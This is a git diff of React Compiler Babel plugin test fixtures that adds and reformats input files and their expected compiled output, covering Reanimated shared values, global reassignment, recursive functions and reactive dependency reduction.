diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.expect.md
index fbf64efbeaa1..1f5fb54eaeb7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.expect.md
@@ -3,6 +3,7 @@
 
 ```javascript
 // @enableCustomTypeDefinitionForReanimated
+import {useAnimatedProps, useSharedValue} from 'react-native-reanimated';
 function Component() {
   const radius = useSharedValue(50);
 
@@ -38,6 +39,7 @@ export const FIXTURE_ENTRYPOINT = {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime"; // @enableCustomTypeDefinitionForReanimated
+import { useAnimatedProps, useSharedValue } from "react-native-reanimated";
 function Component() {
   const $ = _c(2);
   const radius = useSharedValue(50);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.js
index dcbc8039f7a5..d2865ce99ae6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.js
@@ -1,4 +1,5 @@
 // @enableCustomTypeDefinitionForReanimated
+import {useAnimatedProps, useSharedValue} from 'react-native-reanimated';
 function Component() {
   const radius = useSharedValue(50);
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-shared-value-writes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-shared-value-writes.expect.md
new file mode 100644
index 000000000000..0a19a8542893
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-shared-value-writes.expect.md
@@ -0,0 +1,58 @@
+
+## Input
+
+```javascript
+// @enableCustomTypeDefinitionForReanimated
+import {useSharedValue} from 'react-native-reanimated';
+
+/**
+ * https://docs.swmansion.com/react-native-reanimated/docs/2.x/api/hooks/useSharedValue/
+ *
+ * Test that shared values are treated as ref-like, i.e. allowing writes outside
+ * of render
+ */
+function SomeComponent() {
+  const sharedVal = useSharedValue(0);
+  return (
+    <Button
+      onPress={() => (sharedVal.value = Math.random())}
+      title="Randomize"
+    />
+  );
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableCustomTypeDefinitionForReanimated
+import { useSharedValue } from "react-native-reanimated";
+
+/**
+ * https://docs.swmansion.com/react-native-reanimated/docs/2.x/api/hooks/useSharedValue/
+ *
+ * Test that shared values are treated as ref-like, i.e. allowing writes outside
+ * of render
+ */
+function SomeComponent() {
+  const $ = _c(2);
+  const sharedVal = useSharedValue(0);
+  let t0;
+  if ($[0] !== sharedVal) {
+    t0 = (
+      <Button
+        onPress={() => (sharedVal.value = Math.random())}
+        title="Randomize"
+      />
+    );
+    $[0] = sharedVal;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-shared-value-writes.jsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-shared-value-writes.jsx
new file mode 100644
index 000000000000..0aa959a8b6e8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-shared-value-writes.jsx
@@ -0,0 +1,18 @@
+// @enableCustomTypeDefinitionForReanimated
+import {useSharedValue} from 'react-native-reanimated';
+
+/**
+ * https://docs.swmansion.com/react-native-reanimated/docs/2.x/api/hooks/useSharedValue/
+ *
+ * Test that shared values are treated as ref-like, i.e. allowing writes outside
+ * of render
+ */
+function SomeComponent() {
+  const sharedVal = useSharedValue(0);
+  return (
+    <Button
+      onPress={() => (sharedVal.value = Math.random())}
+      title="Randomize"
+    />
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-hook-arg.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-hook-arg.expect.md
new file mode 100644
index 000000000000..dde3c6099d79
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-hook-arg.expect.md
@@ -0,0 +1,47 @@
+
+## Input
+
+```javascript
+let b = 1;
+
+export default function MyApp() {
+  const fn = () => {
+    b = 2;
+  };
+  return useFoo(fn);
+}
+
+function useFoo(fn) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: MyApp,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+let b = 1;
+
+export default function MyApp() {
+  const fn = _temp;
+
+  return useFoo(fn);
+}
+function _temp() {
+  b = 2;
+}
+
+function useFoo(fn) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: MyApp,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-hook-arg.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-hook-arg.js
new file mode 100644
index 000000000000..f584792febf9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-hook-arg.js
@@ -0,0 +1,15 @@
+let b = 1;
+
+export default function MyApp() {
+  const fn = () => {
+    b = 2;
+  };
+  return useFoo(fn);
+}
+
+function useFoo(fn) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: MyApp,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-return.expect.md
new file mode 100644
index 000000000000..56401189a183
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-return.expect.md
@@ -0,0 +1,43 @@
+
+## Input
+
+```javascript
+let b = 1;
+
+export default function useMyHook() {
+  const fn = () => {
+    b = 2;
+  };
+  return fn;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMyHook,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+let b = 1;
+
+export default function useMyHook() {
+  const fn = _temp;
+
+  return fn;
+}
+function _temp() {
+  b = 2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMyHook,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-return.js
new file mode 100644
index 000000000000..abbf1550792c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-return.js
@@ -0,0 +1,13 @@
+let b = 1;
+
+export default function useMyHook() {
+  const fn = () => {
+    b = 2;
+  };
+  return fn;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMyHook,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.expect.md
index af846095c630..0b0fc73df6f5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
 // @flow
 function Component() {
@@ -39,7 +39,6 @@ function Component() {
     while ((item = items.pop())) {
       sum = sum + item;
     }
-
     t0 = [items, sum];
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.js
index 634f0c510166..f1a94c3d5719 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.js
@@ -1,4 +1,4 @@
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
 // @flow
 function Component() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-variable-in-usememo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-variable-in-usememo.expect.md
new file mode 100644
index 000000000000..29dc3afcd6fe
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-variable-in-usememo.expect.md
@@ -0,0 +1,45 @@
+
+## Input
+
+```javascript
+// @flow
+export hook useItemLanguage(items) {
+  return useMemo(() => {
+    let language: ?string = null;
+    items.forEach(item => {
+      if (item.language != null) {
+        language = item.language;
+      }
+    });
+    return language;
+  }, [items]);
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+export function useItemLanguage(items) {
+  const $ = _c(2);
+  let language;
+  if ($[0] !== items) {
+    language = null;
+    items.forEach((item) => {
+      if (item.language != null) {
+        language = item.language;
+      }
+    });
+    $[0] = items;
+    $[1] = language;
+  } else {
+    language = $[1];
+  }
+  return language;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-variable-in-usememo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-variable-in-usememo.js
new file mode 100644
index 000000000000..4ed89bfc6433
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-variable-in-usememo.js
@@ -0,0 +1,12 @@
+// @flow
+export hook useItemLanguage(items) {
+  return useMemo(() => {
+    let language: ?string = null;
+    items.forEach(item => {
+      if (item.language != null) {
+        language = item.language;
+      }
+    });
+    return language;
+  }, [items]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassigned-phi-in-returned-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassigned-phi-in-returned-function-expression.expect.md
index 5c6c680e05e9..39ce103cca07 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassigned-phi-in-returned-function-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassigned-phi-in-returned-function-expression.expect.md
@@ -23,7 +23,7 @@ import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   const $ = _c(2);
   let t0;
-  if ($[0] !== props.str) {
+  if ($[0] !== props) {
     t0 = () => {
       let str;
       if (arguments.length) {
@@ -34,7 +34,7 @@ function Component(props) {
 
       global.log(str);
     };
-    $[0] = props.str;
+    $[0] = props;
     $[1] = t0;
   } else {
     t0 = $[1];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-conditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-conditional.expect.md
index 9358d39cf448..82d59c358f2a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-conditional.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-conditional.expect.md
@@ -39,9 +39,7 @@ function Component(props) {
       }
       x = t1;
     }
-
     y.push(props.p2);
-
     t0 = <Component x={x} y={y} />;
     $[0] = props.p0;
     $[1] = props.p1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.expect.md
index f42b92b596a8..3c1baee994c4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.expect.md
@@ -30,8 +30,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -42,21 +42,20 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 function foo(a, b, c) {
   const $ = _c(10);
-  let x;
   let t0;
+  let x;
   if ($[0] !== a) {
     x = [];
     if (a) {
       x.push(a);
     }
-
     t0 = <div>{x}</div>;
     $[0] = a;
-    $[1] = x;
-    $[2] = t0;
+    $[1] = t0;
+    $[2] = x;
   } else {
-    x = $[1];
-    t0 = $[2];
+    t0 = $[1];
+    x = $[2];
   }
   const y = t0;
   bb0: switch (b) {
@@ -83,15 +82,15 @@ function foo(a, b, c) {
     }
   }
   let t1;
-  if ($[7] !== y || $[8] !== x) {
+  if ($[7] !== x || $[8] !== y) {
     t1 = (
       <div>
         {y}
         {x}
       </div>
     );
-    $[7] = y;
-    $[8] = x;
+    $[7] = x;
+    $[8] = y;
     $[9] = t1;
   } else {
     t1 = $[9];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.js
index 25902b880ece..55ff2976cfb9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.js
@@ -26,6 +26,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment.expect.md
index 3804326553c9..de0f4d7449db 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment.expect.md
@@ -36,9 +36,7 @@ function Component(props) {
       t1 = $[3];
     }
     x = t1;
-
     y.push(props.p1);
-
     t0 = <Component x={x} y={y} />;
     $[0] = props.p0;
     $[1] = props.p1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function-expression.expect.md
new file mode 100644
index 000000000000..b04dca774dee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function-expression.expect.md
@@ -0,0 +1,83 @@
+
+## Input
+
+```javascript
+function Component1() {
+  const x = callback(10);
+  function callback(x) {
+    if (x == 0) {
+      return null;
+    }
+    return callback(x - 1);
+  }
+  return x;
+}
+
+function Component() {
+  function callback(x) {
+    if (x == 0) {
+      return null;
+    }
+    return callback(x - 1);
+  }
+  return callback(10);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component1() {
+  const $ = _c(1);
+  let x;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    x = callback(10);
+    function callback(x_0) {
+      if (x_0 == 0) {
+        return null;
+      }
+
+      return callback(x_0 - 1);
+    }
+    $[0] = x;
+  } else {
+    x = $[0];
+  }
+
+  return x;
+}
+
+function Component() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    function callback(x) {
+      if (x == 0) {
+        return null;
+      }
+      return callback(x - 1);
+    }
+    t0 = callback(10);
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) null
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function-expression.js
new file mode 100644
index 000000000000..b09769da2f22
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function-expression.js
@@ -0,0 +1,25 @@
+function Component1() {
+  const x = callback(10);
+  function callback(x) {
+    if (x == 0) {
+      return null;
+    }
+    return callback(x - 1);
+  }
+  return x;
+}
+
+function Component() {
+  function callback(x) {
+    if (x == 0) {
+      return null;
+    }
+    return callback(x - 1);
+  }
+  return callback(10);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function.expect.md
index 023e129625cf..abe2b5d1556c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function.expect.md
@@ -23,9 +23,8 @@ function foo(x) {
   if (x <= 0) {
     return 0;
   }
-  let t0;
-  t0 = foo(x - 2);
-  return x + foo(x - 1) + t0;
+
+  return x + foo(x - 1) + foo(x - 2);
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.expect.md
index ba53ac2a2832..5f9226710e48 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   b0: {
     if (objIsNull) {
@@ -17,10 +17,10 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
   ],
 };
 
@@ -34,7 +34,7 @@ function useFoo(t0) {
   const $ = _c(3);
   const { obj, objIsNull } = t0;
   let x;
-  if ($[0] !== objIsNull || $[1] !== obj) {
+  if ($[0] !== obj || $[1] !== objIsNull) {
     x = [];
     bb0: {
       if (objIsNull) {
@@ -45,12 +45,13 @@ function useFoo(t0) {
 
       x.push(obj.b);
     }
-    $[0] = objIsNull;
-    $[1] = obj;
+    $[0] = obj;
+    $[1] = objIsNull;
     $[2] = x;
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.ts
index 2a5cc03bf9da..76db4ee79bdb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.ts
@@ -1,4 +1,4 @@
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   b0: {
     if (objIsNull) {
@@ -13,9 +13,9 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.expect.md
index 12506c56b53d..8418985029da 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.expect.md
@@ -2,15 +2,9 @@
 ## Input
 
 ```javascript
-import { setProperty } from "shared-runtime";
+import {setProperty} from 'shared-runtime';
 
-function useFoo({
-  o,
-  branchCheck,
-}: {
-  o: { value: number };
-  branchCheck: boolean;
-}) {
+function useFoo({o, branchCheck}: {o: {value: number}; branchCheck: boolean}) {
   let x = {};
   if (branchCheck) {
     setProperty(x, o.value);
@@ -26,7 +20,7 @@ function useFoo({
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ o: { value: 2 }, branchCheck: false }],
+  params: [{o: {value: 2}, branchCheck: false}],
 };
 
 ```
@@ -58,6 +52,7 @@ function useFoo(t0) {
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.ts
index cd64e7781f87..03e3c551318f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.ts
@@ -1,12 +1,6 @@
-import { setProperty } from "shared-runtime";
+import {setProperty} from 'shared-runtime';
 
-function useFoo({
-  o,
-  branchCheck,
-}: {
-  o: { value: number };
-  branchCheck: boolean;
-}) {
+function useFoo({o, branchCheck}: {o: {value: number}; branchCheck: boolean}) {
   let x = {};
   if (branchCheck) {
     setProperty(x, o.value);
@@ -22,5 +16,5 @@ function useFoo({
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ o: { value: 2 }, branchCheck: false }],
+  params: [{o: {value: 2}, branchCheck: false}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.expect.md
index 59fea6bcd0f5..5700634449ea 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   if (objIsNull) {
     return;
@@ -15,10 +15,10 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
   ],
 };
 
@@ -31,9 +31,9 @@ import { c as _c } from "react/compiler-runtime";
 function useFoo(t0) {
   const $ = _c(4);
   const { obj, objIsNull } = t0;
-  let x;
   let t1;
-  if ($[0] !== objIsNull || $[1] !== obj) {
+  let x;
+  if ($[0] !== obj || $[1] !== objIsNull) {
     t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
       x = [];
@@ -46,13 +46,13 @@ function useFoo(t0) {
 
       x.push(obj.b);
     }
-    $[0] = objIsNull;
-    $[1] = obj;
-    $[2] = x;
-    $[3] = t1;
+    $[0] = obj;
+    $[1] = objIsNull;
+    $[2] = t1;
+    $[3] = x;
   } else {
-    x = $[2];
-    t1 = $[3];
+    t1 = $[2];
+    x = $[3];
   }
   if (t1 !== Symbol.for("react.early_return_sentinel")) {
     return t1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.ts
index 992c8310a202..b3b005f261c3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.ts
@@ -1,4 +1,4 @@
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   if (objIsNull) {
     return;
@@ -11,9 +11,9 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.expect.md
index 521affa40c25..424f7bdba420 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.expect.md
@@ -6,7 +6,7 @@
 // scope that produces x, since it is accessed unconditionally in all cfg
 // paths
 
-import { identity, addOne } from "shared-runtime";
+import {identity, addOne} from 'shared-runtime';
 
 function useCondDepInConditionalExpr(props, cond) {
   const x = identity(cond) ? addOne(props.a.b) : identity(props.a.b);
@@ -15,7 +15,7 @@ function useCondDepInConditionalExpr(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInConditionalExpr,
-  params: [{ a: { b: 2 } }, true],
+  params: [{a: {b: 2}}, true],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.js
index 748952316038..0e3cd28632ca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.js
@@ -2,7 +2,7 @@
 // scope that produces x, since it is accessed unconditionally in all cfg
 // paths
 
-import { identity, addOne } from "shared-runtime";
+import {identity, addOne} from 'shared-runtime';
 
 function useCondDepInConditionalExpr(props, cond) {
   const x = identity(cond) ? addOne(props.a.b) : identity(props.a.b);
@@ -11,5 +11,5 @@ function useCondDepInConditionalExpr(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInConditionalExpr,
-  params: [{ a: { b: 2 } }, true],
+  params: [{a: {b: 2}}, true],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.expect.md
index 72929a92a68d..ca8ec6a06dbc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.expect.md
@@ -6,7 +6,7 @@
